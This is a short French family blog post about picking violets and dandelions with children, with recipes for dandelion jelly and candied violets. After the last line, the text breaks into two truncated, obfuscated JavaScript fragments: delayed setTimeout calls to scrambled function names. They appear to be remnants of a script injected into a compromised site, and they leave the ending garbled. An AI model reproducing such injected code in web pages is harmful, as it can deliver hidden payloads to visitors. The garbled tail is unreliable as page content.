C’ est les vacances : on occupe les enfants

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avril 23rd, 2013
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Recette:

Emmener deux enfants en promenade ( le stade de foot pas encore tondu par exemple), et ramasser violettes (une tasse à café) et pissenlits (un chapeau de paille). En profiter pour faire la chasse au grillons, gendarmes….

Gelée de pissenlit: une fois rentré, ne conserver que les pétales de pissenlit (note pour les enfants: plus on laisse de parties « vertes », plus la gelée est amer). Rincer et compléter avec de l’ eau jusqu’ à 500ml. Mettre à bouillir et laisser infuser. Rajouter 500g de sucre, puis laisser réduire jusqu’ à l’ obtention d’ une consistance sirupeuse. Mettre en bocaux.

Parfait pour les tartines.

Violettes cristallisées: les rincer et sécher. Battre un blanc d’ oeuf. Tremper chaque violette dans le blanc, puis dans du sucre en poudre, et laisser sécher sur du papier absorbant.

Et une journée occupée !!andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}P1040606

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